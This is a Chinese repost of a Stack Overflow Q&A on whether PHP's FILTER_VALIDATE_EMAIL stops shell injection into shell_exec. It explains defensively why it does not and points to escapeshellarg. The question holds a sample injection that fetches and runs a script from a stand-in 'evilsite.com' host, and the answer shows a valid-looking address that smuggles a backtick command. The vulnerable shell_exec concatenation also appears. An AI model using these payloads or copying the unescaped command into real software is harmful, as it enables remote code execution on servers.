gpt4 book ai didi

php - FILTER_VALIDATE_EMAIL 是否足以阻止 shell 注入(inject)?

转载 作者:行者123 更新时间:2023-12-02 21:15:42 25 4
gpt4 key购买 nike

因此,我计划使用 shell_exec() 来处理运行发送电子邮件的 php 脚本。

一切都运行良好,但我只是有点担心仅使用 FILTER_VALIDATE_EMAIL 来确保不会发生注入(inject)的安全隐患。

因此,例如,我将使用与此类似的东西:

$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}

所以,显然没有验证,我可以提交我的电子邮件,如下所示:

'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '

一切都可能会崩溃......

这是 100% 注入(inject)证明(据我们所知)还是我应该添加其他内容?

最佳答案

FILTER_VALIDATE_EMAIL 实现基于 Michael Rushton’s Email Address Validation ,它使用 RFC 5321 验证输入, 我。即Mailbox production rule .

这些电子邮件地址比实际使用的电子邮件地址更广泛。例如,RFC 5321 允许在 Local-part 中引用字符串,例如 "…"@example.com

这允许注入(inject)任意命令,例如:

"'`whoami`'"@example.com

这将在您的 shell 命令中结束为:

/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &

生成的 sendmail 参数值将是 whoami 引用的结果,例如 "markus"@example.com

您会发现 FILTER_VALIDATE_EMAIL 根本不适合验证 shell 参数,因为它本来就不适合。

使用用于转义 shell 参数的函数,例如 escapeshellarg用于转义单个参数或 escapeshellcmd对于任意参数。

通常,如果您可以使用内置 PHP 功能实现相同的目的,则应该避免使用 shell 命令,因为即使 escapeshellarg is not free of bugs .

关于php - FILTER_VALIDATE_EMAIL 是否足以阻止 shell 注入(inject)?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/30810758/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com